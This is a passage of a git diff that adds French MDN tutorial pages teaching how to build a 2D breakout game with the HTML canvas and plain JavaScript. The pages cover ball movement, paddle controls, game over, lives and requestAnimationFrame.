Au lieu d'utiliser {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} et de remplir les formes avec des couleurs, nous pouvons utiliser {{domxref("CanvasRenderingContext2D.stroke()","stroke()")}} pour ne colorer que le contour exterieur. Essayez d'ajouter ce code à votre JavaScript aussi :

+ +
ctx.beginPath();
+ctx.rect(160, 10, 100, 40);
+ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
+ctx.stroke();
+ctx.closePath();
+ +

Le code ci-dessus affiche un rectangle vide avec des traits bleus. Grâce au canal alpha de la fonction rgba (), la couleur bleue est semi transparente.

+ +

Comparez votre code

+ +

Voici tout le code source de cette première leçon, fonctionnant avec JSFiddle :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}}

+ +
+

Exercice : essayez de changer la taille et la couleur des formes géométriques.

+
+ +

Prochaines étapes

+ +

Maintenant, nous avons mis en place le code HTML de base et avons appris un peu sur Canvas, passons au deuxième chapitre et étudions comment Déplacer une balle sur notre jeu.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html new file mode 100644 index 0000000000..061aa336fd --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html @@ -0,0 +1,110 @@ +--- +title: Finitions +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions +tags: + - Canevas + - Débutant + - JavaScript + - Jeux + - Tutoriel + - requestAnimationFrame + - vies +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Finishing_up +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

+ +
+

C'est la dernière étape de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à l'adresse Gamedev-Canvas-workshop/lesson10.html.

+
+ +

Il y a toujours des améliorations possibles pour tous les jeux que nous créons. Par exemple, nous pouvons offrir plus d'une vie au joueur. Il peut faire une ou deux erreurs et être encore capable de terminer le jeu. Nous pourrions également améliorer le rendu visuel du jeu.

+ +

Donner des vies au joueur

+ +

Mettre en œuvre des vies est assez simple. Ajoutons d'abord une variable pour stocker le nombre de vies à l'endroit où nous avons déclaré nos autres variables :

+ +
var lives = 3;
+ +

L'affichage du compteur de vie est similaire à celui du compteur de points — ajoutez la fonction suivante à votre code, sous la fonction drawScore() :

+ +
function drawLives() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Lives: "+lives, canvas.width-65, 20);
+}
+ +

Au lieu de mettre immédiatement fin au jeu, nous allons réduire le nombre de vies jusqu'à ce qu'il n'y en ait plus. Nous pouvons également réinitialiser les positions du ballon et de la raquette lorsque le joueur commence sa prochaine vie. Ainsi, dans la fonction draw(), remplacez les trois lignes suivantes :

+ +
alert("GAME OVER");
+document.location.reload();
+clearInterval(interval); // Needed for Chrome to end game
+ + + +

Nous pouvons ainsi y ajouter une logique un peu plus complexe, comme indiqué ci-dessous :

+ +
lives--;
+if(!lives) {
+    alert("GAME OVER");
+    document.location.reload();
+    clearInterval(interval); // Needed for Chrome to end game
+}
+else {
+    x = canvas.width/2;
+    y = canvas.height-30;
+    dx = 2;
+    dy = -2;
+    paddleX = (canvas.width-paddleWidth)/2;
+}
+ +

Maintenant, quand la balle frappe le bord inférieur de l'écran, nous soustrayons une vie de la variable lives. S'il n'y a plus de vies, la partie est perdue ; s'il reste encore des vies, alors la position de la balle et la raquette sont remises à zéro, ainsi que le mouvement de la balle.

+ +

Afficher le compteur de vies

+ +

Maintenant, vous devez ajouter un appel à drawLives() dans la fonction draw() et l'ajouter sous l'appel drawScore().

+ +
drawLives();
+
+ +

Améliorer le rendu avec requestAnimationFrame()

+ +

Maintenant, travaillons sur quelque chose qui n'est pas lié à la mécanique du jeu, mais à la façon dont il est rendu. {{domxref("window.requestAnimationFrame", "requestAnimationFrame")}} aide le navigateur à rendre le jeu mieux que la cadence fixe que nous avons actuellement mise en place en utilisant {{domxref("windowTimers.setInterval()", "setInterval()")}}. Remplacez la ligne suivante :

+ +
var interval = setInterval(draw, 10);
+ +

avec simplement :

+ +
draw();
+ +

et supprimez chaque occurence de :

+ +
clearInterval(interval); // Needed for Chrome to end game
+
+ +

Ensuite, tout en bas de la fonction draw() (juste avant l'accolade de fermeture), ajoutez la ligne suivante, ce qui fait que la fonction draw() s'appelle encore et encore :

+ +
requestAnimationFrame(draw);
+ +

La fonction draw() est maintenant exécutée indéfiniment dans une boucle requestAnimationFrame(), mais au lieu de la cadence fixe de 10 millisecondes, nous redonnons le contrôle de la cadence au navigateur. Il synchronisera la cadence en conséquence et ne n'acutalisera l'affichage que lorsque cela sera nécessaire. Cela permet d'obtenir une boucle d'animation plus efficace et plus fluide que l'ancienne méthode setInterval().

+ +

Comparez votre code your code

+ +

C'est tout — la version finale du jeu est prête et prête à être lancée !

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/dfh2tpu1/","","395")}}

+ +
+

Exercise: changer le nombre de vies et l'angle de rebond de la balle sur la raquette.

+
+ +

Game over - pour l'instant !

+ +

Vous avez terminé toutes les leçons - félicitations ! À ce stade, vous devriez maintenant connaître les bases de la manipulation des Canevas et la logique des jeux simples en 2D. C'est maintenant le bon moment pour apprendre quelques frameworks et continuer le développement du jeu. Vous pouvez découvrir le pendant de cette série, le casse-brique 2D utilisant Phaser ou le tutoriel Cyber Orb construit avec Phaser. Vous pouvez également consulter la section Jeux sur MDN pour vous inspirer et approfondir vos connaissances.

+ +

Vous pouvez également revenir à la page d'accueil de cette série de tutoriels. Amusez-vous bien à coder !

+ +

{{Previous("Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html new file mode 100644 index 0000000000..9b37cce3c6 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html @@ -0,0 +1,97 @@ +--- +title: Fin de partie +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over +tags: + - Canvas + - Débutant + - Fin de partie + - JavaScript + - Jeux + - Tutoriel + - game over +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}

+ +
+

Voici la 5ème étape sur 10 du Gamedev Canvas tutorial. Vous pouvez trouver le code source comme il devrait être après avoir terminé cette leçon sur Gamedev-Canvas-workshop/lesson5.html.

+
+ +

C'est sympa de regarder la balle rebondir contre les murs et de pouvoir bouger la raquette, mais à part ça, le jeu ne fait rien, il n'y a pas de progression ni de but final. Il serait bien, du point de vue du gameplay, de pouvoir perdre. La façon de perdre dans le casse briques est simple. Si vous loupez la balle avec le paddle et la laissez atteindre le bas de l'écran, la partie est terminée.

+ +

Intégrer une fin de partie

+ +

Essayons d'intégrer une fin de partie dans le jeu . Voyons une partie du code de la troisième leçon, où nous faisions rebondir la balle contre les murs :

+ +
if(x + dx > canvas.width-ballRadius || x + dx < ballRadius) {
+    dx = -dx;
+}
+
+if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) {
+    dy = -dy;
+}
+ +

Au lieu de permettre à la balle de rebondir sur les quatre murs, nous n'en autoriserons que trois désormais — gauche, haut et droite. Toucher le mur du bas mettra fin à la partie.

+ +

Nous allons  donc modifier le second bloc if (qui gère le déplacement sur l'axe vertical, y) en y ajoutant un else if qui déclenchera un Game Over si la balle entre en collision avec le mur du bas. Pour l'instant nous allons rester simple, afficher un message d'alerte et redémarrer le jeu en rechargeant la page.

+ +

Tout d'abord remplacer l'appel initial à setInterval()

+ +
setInterval(draw, 10);
+
+ +

par 

+ +
var interval = setInterval(draw, 10);
+
+ + + +

Puis remplacez la seconde instruction if par le code suivant:

+ +
if(y + dy < ballRadius) {
+    dy = -dy;
+} else if(y + dy > canvas.height-ballRadius) {
+    alert("GAME OVER");
+    document.location.reload();
+    clearInterval(interval); // Needed for Chrome to end game
+}
+ +

Faire rebondir la balle sur la raquette

+ +

La dernière chose à faire dans cette leçon est de créer une sorte de détection de collision entre la raquette et la balle, de sorte qu'elle puisse rebondir et revenir dans la zone de jeu. La chose la plus facile à faire est de vérifier si le centre de la balle se  trouve entre les bords droit et gauche du paddle. Mettez à jour le dernier bout de code que vous venez de modifier, comme-ci dessous :

+ +
if(y + dy < ballRadius) {
+    dy = -dy;
+} else if(y + dy > canvas.height-ballRadius) {
+    if(x > paddleX && x < paddleX + paddleWidth) {
+        dy = -dy;
+    }
+    else {
+        alert("GAME OVER");
+        document.location.reload();
+        clearInterval(interval);
+    }
+}
+ +

Si la balle entre en collision avec le mur du bas, nous devons vérifier si elle touche la raquette. Si c'est le cas, la balle rebondit et revient dans la zone de jeu. Sinon, le jeu est terminé comme avant.

+ +

Comparez votre code

+ +

Voici le code fonctionnel avec lesquel vous pouvez comparer le vôtre :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/z4zy79fo/","","395")}}

+ +
+

Exercice: Faites en sorte que la balle accélère quand elle touche la raquette.

+
+ +

Prochaine étape

+ +

Nous avons déja bien avancé et notre jeu est devenu plus intéressant depuis que vous pouvez perdre ! Mais il manque encore quelque chose. Rendons-nous au sixième chapitre — Créer le champs de briques — et créons quelques briques que la balle pourra détruire.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr%C3%B4le_clavier", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.html new file mode 100644 index 0000000000..57d3b276ed --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.html @@ -0,0 +1,58 @@ +--- +title: Jeu de casse-briques 2D en pur JavaScript +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript +tags: + - 2D + - Canvas + - Débutant + - JavaScript + - Jeux + - Tutoriel +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/fr/docs/Jeux")}}
+ +

{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}}

+ +

Dans ce tutoriel, nous allons créer pas à pas un jeu de casse-briques MDN, créé entièrement avec JavaScript et sans framework, et rendu avec la balise HTML5 {{htmlelement("canvas")}}.

+ +

Chaque étape est modifiable en direct, et disponible en test pour que vous puissiez voir ce à quoi les étapes intermédiaires devraient ressembler. Vous apprendrez les bases d'utilisations de l'élément {{htmlelement("canvas")}} pour implémenter des mécaniques de base du jeu vidéo, comme charger et déplacer des images, les détections de collisions, les mécanismes de contrôle, et les conditions de victoire/défaite.

+ +

Pour comprendre la plupart des articles de ce tutoriel, vous devez déjà avoir un niveau basique ou intermédiaire en JavaScript. À la fin de ce tutoriel, vous serez capable de créer vos propres jeux Web.

+ +

Gameplay screen from the game MDN Breakout where you can use your paddle to bounce the ball and destroy the brick field, with keeping the score and lives.

+ +

Détail de la leçon

+ +

Toutes les leçons — et les différentes versions de ce jeu de casse-brique MDN que nous allons créer ensemble — sont disponibles sur GitHub :

+ +
    +
  1. Créer l'élément canvas et dessiner dessus
    2. +
  2. Déplacer la balle
    3. +
  3. Rebondir sur les murs
    4. +
  4. Contrôles clavier
    5. +
  5. Jeu terminé
    6. +
  6. Construire le mur de briques
    7. +
  7. Détection des collisions
    8. +
  8. Afficher le score et gagner
    9. +
  9. Contrôles souris
    10. +
  10. Finir
    11. +
+ +

Commencer avec du Javascript pur et dur est le meilleur moyen d'acquérir des connaissances de développement de jeu web. Après ceci, vous pourrez prendre n'importe quel "framework" et l'utiliser pour vos projets. Les "frameworks" sont des outils créés avec le langage Javascript ; donc, même si vous voulez travailler avec ces derniers, c'est toujours bon d'apprendre le langage lui-même pour savoir ce qu'il se passe exactement. Les "frameworks" améliorent la vitesse de développement et aident à traiter les parties les moins intéressantes du jeu, mais si quelque chose ne fonctionne pas comme prévu, vous pouvez toujours essayer de déboguer ou juste écrire vos propre solutions en Javascript. 

+ +
+

Note : Si vous êtes intéressé par l'apprentissage du développement un jeu web 2D avec un "framework", consultez la série Jeu de casse-tête 2D avec Phaser.

+
+ +
+

Note : Cette série d'articles peut être utilisée comme matériel pour des ateliers pratiques de développement de jeux. Vous pouvez également utiliser le Gamedev Canvas Content Kit basé sur ce tutoriel si vous voulez faire une présentation sur le développement de jeux en général .

+
+ +

Prochaines étapes

+ +

Ok, c'est parti ! Rendez-vous au premier chapitre pour commencer — Créer l'élément canvas et dessiner dessus

+ +

{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}} 

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html new file mode 100644 index 0000000000..322e7fd229 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html @@ -0,0 +1,61 @@ +--- +title: Contrôle à la souris +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls +tags: + - Canevas + - Contrôles + - Débutant + - JavaScript + - Jeux + - Souris + - Tutoriel +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Mouse_controls +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions")}}

+ +
+

C'est la 9ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à l'adresse Gamedev-Canvas-workshop/lesson9.html.

+
+ +

Le jeu lui-même est en fait terminé, alors travaillons à le peaufiner. Nous avons déjà ajouté des commandes au clavier, mais nous pourrions facilement ajouter des commandes à la souris.

+ +

Détecter les mouvements de la souris

+ +

Il est encore plus facile de détecter les mouvements de la souris que les pressions sur les touches : il suffit d'écouter l'évènement {{event("mousemove")}}. Ajouter la ligne suivante au même endroit que les autres écouteurs d'événement, juste en dessous de l'évènement keyup :

+ +
document.addEventListener("mousemove", mouseMoveHandler, false);
+ +

Lier le mouvement de la raquette au mouvement de la souris

+ +

Nous pouvons mettre à jour la position de la raquette en fonction des coordonnées du pointeur — c'est exactement ce que fera la fonction de manipulation suivante. Ajoutez la fonction ci-dessous à votre code, sous la dernière ligne que vous avez ajoutée :

+ +
function mouseMoveHandler(e) {
+    var relativeX = e.clientX - canvas.offsetLeft;
+    if(relativeX > 0 && relativeX < canvas.width) {
+        paddleX = relativeX - paddleWidth/2;
+    }
+}
+ +

Dans cette fonction, nous calculons d'abord une valeur relativeX, qui est égale à la position horizontale de la souris dans la fenêtre de visualisation (e.clientX) moins la distance entre le bord gauche de la toile et le bord gauche de la fenêtre de visualisation (canvas.offsetLeft) — en fait, cette valeur est égale à la distance entre le bord gauche du canevas et le pointeur de la souris. Si la position relative du pointeur X est supérieure à zéro et inférieure à la largeur du canevas, le pointeur se trouve dans les limites du canevas, et la position paddleX (ancrée sur le bord gauche de la palette) est fixée à la valeur relativeX moins la moitié de la largeur de la palette, de sorte que le mouvement sera en fait relatif au milieu de la raquette.

+ +

La raquette suivra désormais la position du curseur de la souris, mais comme nous limitons le mouvement à la taille du canevas, elle ne disparaîtra pas complètement d'un côté ou de l'autre.

+ +

Comparez votre code

+ +

Voici le code final du chapitre, à vous de vérifier et de le tester pour voir si il y a des différences.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/vt7y5hcp/","","395")}}

+ +
+

Exercice : ajustez les limites du mouvement de la raquette, de sorte que la raquette entière soit visible sur les deux bords du canevas au lieu de seulement la moitié.

+
+ +

Prochaine étape

+ +

Maintenant que nous avons un jeu complet, nous allons terminer notre série de leçons avec quelques petites retouches supplémentaires — Finitions.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/finitions")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.html new file mode 100644 index 0000000000..5619a7bbdf --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.html @@ -0,0 +1,146 @@ +--- +title: Déplacer la balle +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball +tags: + - 2D + - Boucle + - Canevas + - Débutant + - JavaScript + - Mouvement + - Tutoriel +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/fr/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs")}}

+ +
+

Voici la deuxième étape de ce tutoriel. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson2.html.

+
+ +

Nous avons vu dans l'article précédent comment dessiner une balle, maintenant déplaçons là. Techniquement, nous afficherons la balle sur l'écran, puis nous l'effacerons et ensuite nous la repeindrons dans une position légèrement différente et ceci à chaque image afin de donner l'impression d'un mouvement (tout comme le fonctionnement du mouvement dans les films).

+ +

Définir une boucle de dessin

+ +

Afin que le dessin soit mis à jour sur le canevas à chaque image, nous allons définir une fonction draw() qui sera exécutée en continu et qui utilisera des variables pour les positions des sprites, etc. Pour qu'une fonction s'exécute de façon répétée avec JavaScript, on pourra utiliser les méthodes {{domxref("WindowTimers.setInterval()", "setInterval()")}} ou {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}.

+ +

Supprimez tout le JavaScript que vous avez actuellement dans votre HTML à l'exception des deux premières lignes puis ajoutez ce qui suit en dessous de ces lignes. La fonction draw() sera exécutée toutes les 10 millisecondes (environ) grâce à setInterval :

+ +
function draw() {
+  // le code pour dessiner
+}
+setInterval(draw, 10);
+ +

Grâce à la nature infinie de setInterval, la fonction draw() sera appelée toutes les 10 millisecondes, sans arrêt jusqu'à ce que nous y mettions un terme. Maintenant, dessinons la balle — ajoutons le code ci-dessous à notre fonction draw() :

+ +
ctx.beginPath();
+ctx.arc(50, 50, 10, 0, Math.PI*2);
+ctx.fillStyle = "#0095DD";
+ctx.fill();
+ctx.closePath();
+
+ +

Essayez votre code mis à jour maintenant, la balle devrait être repeinte sur chaque image.

+ +

Déplacer la balle

+ +

Pour le moment, vous ne voyez pas la balle "repeinte" car elle ne bouge pas. Améliorons tout ça. Pour commencer, au lieu d'une position bloquée à (50,50), nous allons définir un point de départ en bas et au milieu du canevas grâce aux variables x et y que nous utiliserons pour définir la position où le cercle est dessiné.

+ +

Ajoutez d'abord les deux lignes suivantes au-dessus de votre fonction draw() pour définir x et y :

+ +
var x = canvas.width/2;
+var y = canvas.height-30;
+
+ +

Ensuite, mettez à jour la fonction draw() afin d'utiliser les variables x et y dans la méthode {{domxref("CanvasRenderingContext2D.arc()","arc()")}} , comme indiqué dans la ligne mise en évidence ci-dessous :

+ +
function draw() {
+  ctx.beginPath();
+  ctx.arc(x, y, 10, 0, Math.PI*2);
+  ctx.fillStyle = "#0095DD";
+  ctx.fill();
+  ctx.closePath();
+}
+
+ +

Nous voici à la partie importante : nous voulons ajouter une valeur à x et y après que chaque image ait été dessinée afin de faire croire que la balle bouge. On définit ces valeurs comme dx et dy avec comme valeurs respectives 2 et -2. Ajoutez le code après la déclaration des variables x et y :

+ +
var dx = 2;
+var dy = -2;
+
+ +

La dernière chose à faire est de mettre à jour x et y avec nos variables dx et  dy sur chaque image, de sorte que la balle sera peinte dans la nouvelle position à chaque nouvelle image. Ajoutez les deux nouvelles lignes, indiquées ci-dessous, à votre fonction draw() :

+ +
function draw() {
+  ctx.beginPath();
+  ctx.arc(x, y, 10, 0, Math.PI*2);
+  ctx.fillStyle = "#0095DD";
+  ctx.fill();
+  ctx.closePath();
+  x += dx;
+  y += dy;
+}
+ +

Enregistrez à nouveau votre code et essayez-le dans votre navigateur. Vous devriez avoir le résultat suivant : ça fonctionne mais on a une trainée laissée par la balle derrière elle :

+ +

+ +

Effacer le canevas avant chaque image (frame)

+ +

La balle laisse une trace parce que qu'une nouveau cercle est dessiné sur chaque frame sans qu'on enlève le précédent. Pas d'inquiétude, il existe un moyen d'effacer le contenu du canevas : {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}. Cette méthode prend en compte quatre paramètres: les coordonnées x et y du coin supérieur gauche d'un rectangle et les coordonnées x et y du coin inférieur droit d'un rectangle. Toute la zone couverte par ce rectangle sera effacée.

+ +

Ajoutez la nouvelle ligne en surbrillance ci-dessous à la fonction draw() :

+ +
function draw() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.beginPath();
+  ctx.arc(x, y, 10, 0, Math.PI*2);
+  ctx.fillStyle = "#0095DD";
+  ctx.fill();
+  ctx.closePath();
+  x += dx;
+  y += dy;
+}
+
+ +

Enregistrez votre code et essayez à nouveau. Cette fois, vous verrez la balle se déplacer sans laisser de trace. Toutes les 10 millisecondes, le canvas est effacé, la balle est dessinée sur une position donnée et les valeurs x et y sont mises à jour pour l'image suivante (en anglais, on parle de "frame").

+ +

Nettoyer notre code

+ +

Dans les prochains articles, nous allons ajouter de plus en plus de d'instructions à la fonction draw(). Mieux vaut donc la garder aussi simple et propre que possible. Commençons par déplacer le code s'occupant de dessiner de la balle vers une fonction séparée.

+ +

Remplacez la fonction draw() existante par les deux fonctions suivantes :

+ +
function drawBall() {
+  ctx.beginPath();
+  ctx.arc(x, y, 10, 0, Math.PI*2);
+  ctx.fillStyle = "#0095DD";
+  ctx.fill();
+  ctx.closePath();
+}
+
+function draw() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  drawBall();
+  x += dx;
+  y += dy;
+}
+ +

Comparez votre code

+ +

Vous pouvez vérifier le code de cet article avec la démo qui suit et jouer avec pour mieux comprendre comment il fonctionne :

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","395")}}

+ +
+

Exercice : Essayez de changer la vitesse de la balle en mouvement ou la direction dans laquelle elle se déplace.

+
+ +

Prochaines étapes

+ +

Nous avons dessiné nottre balle et elle se déplace mais elle ne cesse de disparaître du bord de notre canevas. Dans le troisième chapitre, nous verrons comment faire rebondir la balle contre les bords.

+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs")}}

diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html new file mode 100644 index 0000000000..27b1ee4f05 --- /dev/null +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html @@ -0,0 +1,141 @@ +--- +title: Raquette et contrôle clavier +slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contrôle_clavier +tags: + - Canvas + - Clavier + - Débutant + - JavaScript + - Jeux + - Tuto + - Tutoriel + - contrôle clavier + - graphique +translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls +--- +
{{GamesSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/Games")}}
+ +

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}

+ +
+

C'est la 4ème étape sur 10 de ce tutoriel Gamedev Canvas. Vous pouvez retrouver le code source de cette leçon sur Gamedev-Canvas-workshop/lesson4.html.

+
+ +

La balle rebondit librement partout et vous pourriez la regarder indéfiniment... Mais il n'y a pas d'interaction avec le joueur. Ce n'est pas un jeu si vous ne pouvez pas le contrôler ! Nous allons donc ajouter une interaction avec le joueur : une raquette contrôlable.

+ +

Créer une raquette pour frapper la balle

+ +

Il nous faut donc une raquette pour frapper la balle. Définissons quelques variables pour cela. Ajoutez les variables suivantes en haut de votre code, près de vos autres variables :

+ +
var paddleHeight = 10;
+var paddleWidth = 75;
+var paddleX = (canvas.width-paddleWidth)/2;
+ +

Ici, nous définissons la hauteur et la largeur de la raquette et son point de départ sur l'axe des x pour l'utiliser dans les calculs plus loin dans le code. Créons une fonction qui dessinera la raquette sur l'écran. Ajoutez ce qui suit juste en dessous de votre fonction drawBall() :

+ +
function drawPaddle() {
+    ctx.beginPath();
+    ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth, paddleHeight);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+ +

Permettre à l'utilisateur de contrôler la raquette

+ +

Nous pouvons dessiner la raquette où nous voulons, mais elle doit répondre aux actions de l'utilisateur. Il est temps de mettre en place certaines commandes au clavier. Nous aurons besoin de ce qui suit :
+  

+ +
    +
  • Deux variables pour stocker des informations sur l'état des touches "gauche" et "droite".
    • +
  • Deux écouteurs d'événements pour les événements keydown et keyup du clavier. Nous voulons exécuter un code pour gérer le mouvement de la raquette lorsque des appuis sur les touches.
    • +
  • Deux fonctions gérant les événements keydown et keyup et le code qui sera exécuté lorsque les touches sont pressées.
    • +
  • La possibilité de déplacer la raquette vers la gauche et vers la droite
    • +
+ +

L'état des touches peut être mémorisé dans des variables booléennes comme dans l'exemple ci-dessous. Ajoutez ces lignes près de vos variables :

+ +
var rightPressed = false;
+var leftPressed = false;
+ +

La valeur par défaut pour les deux est fausse car au début, car les touches ne sont pas enfoncés. Pour être informé des appuis sur les touches, nous allons mettre en place deux écouteurs d'événements. Ajoutez les lignes suivantes juste au-dessus de la ligne setInterval() au bas de votre JavaScript :

+ +
document.addEventListener("keydown", keyDownHandler, false);
+document.addEventListener("keyup", keyUpHandler, false);
+ +

Lorsque l'événement keydown est déclenché par l'appui d'une des touches de votre clavier (lorsqu'elles sont enfoncées), la fonction keyDownHandler() est exécutée. Le même principe est vrai pour le deuxième écouteur : les événements keyup activent la fonction keyUpHandler() (lorsque les touches cessent d'être enfoncées). Ajoutez ces lignes à votre code, sous les lignes addEventListener() :

+ +
function keyDownHandler(e) {
+    if(e.key == "Right" || e.key == "ArrowRight") {
+        rightPressed = true;
+    }
+    else if(e.key == "Left" || e.key == "ArrowLeft") {
+        leftPressed = true;
+    }
+}
+
+function keyUpHandler(e) {
+    if(e.key == "Right" || e.key == "ArrowRight") {
+        rightPressed = false;
+    }
+    else if(e.key == "Left" || e.key == "ArrowLeft") {
+        leftPressed = false;
+    }
+}
+ +

Quand on presse une touche du clavier, l'information est stockée dans une variable. La variable concernée est mis sur true. Quand la touche est relachée, la variable revient à  false.

+ +

Les deux fonctions prennent un événement comme paramètre, représenté par la variable e. De là, vous pouvez obtenir des informations utiles : la propriété key contient les informations sur la touche qui a été enfoncée.  La plupart des navigateurs utilisent ArrowRight et ArrowLeft pour les touches de flèche gauche/droite, mais nous devons également tester Right and Left pour prendre en charge les navigateurs IE/Edge. Si la touche gauche est enfoncé, la variable leftPressed est mise à true, et lorsqu'elle est relâchée, la variable leftPressed est mise à false. Le même principe s'applique à la touche droite et à la variable RightPressed.

+ +

La logique du déplacement de la raquette

+ +

Nous avons maintenant mis en place les variables pour stocker les informations sur les touches pressées, les écouteurs d'événements et les fonctions associées. Ensuite, nous allons entrer dans le code pour utiliser tout ce que nous venons de configurer et pour déplacer la palette à l'écran. Dans la fonction draw(), nous vérifierons si les touches gauche ou droite sont pressées lors du rendu de chaque image. Notre code pourrait ressembler à ceci :

+ +
if(rightPressed) {
+    paddleX += 7;
+}
+else if(leftPressed) {
+    paddleX -= 7;
+}
+ +

Si la touche gauche est enfoncée, la raquette se déplacera de sept pixels vers la gauche, et si la droite est enfoncé, la raquette se déplacera de sept pixels vers la droite. Cela fonctionne actuellement, mais la raquette disparaît du bord du canevas si nous maintenons l'une ou l'autre des touches trop longtemps enfoncée. Nous pourrions améliorer cela et déplacer la raquette uniquement dans les limites du canevas en changeant le code comme ceci :

+ +
if(rightPressed) {
+    paddleX += 7;
+    if (paddleX + paddleWidth > canvas.width){
+        paddleX = canvas.width - paddleWidth;
+    }
+}
+else if(leftPressed) {
+    paddleX -= 7;
+    if (paddleX < 0){
+        paddleX = 0;
+    }
+}
+ +

La position de paddleX que nous utilisons variera entre 0 sur le côté gauche du canevas et canvas.width-paddleWidth sur le côté droit, ce qui fonctionnera exactement comme nous le souhaitons.
+
+ Ajoutez le bloc de code ci-dessus dans la fonction draw() en bas, juste au-dessus de l'accolade de fermeture.
+
+ Il ne reste plus qu'à appeler la fonction drawPaddle() depuis la fonction draw(), pour l'afficher réellement à l'écran. Ajoutez la ligne suivante à l'intérieur de votre fonction draw(), juste en dessous de la ligne qui appelle drawBall() :

+ +
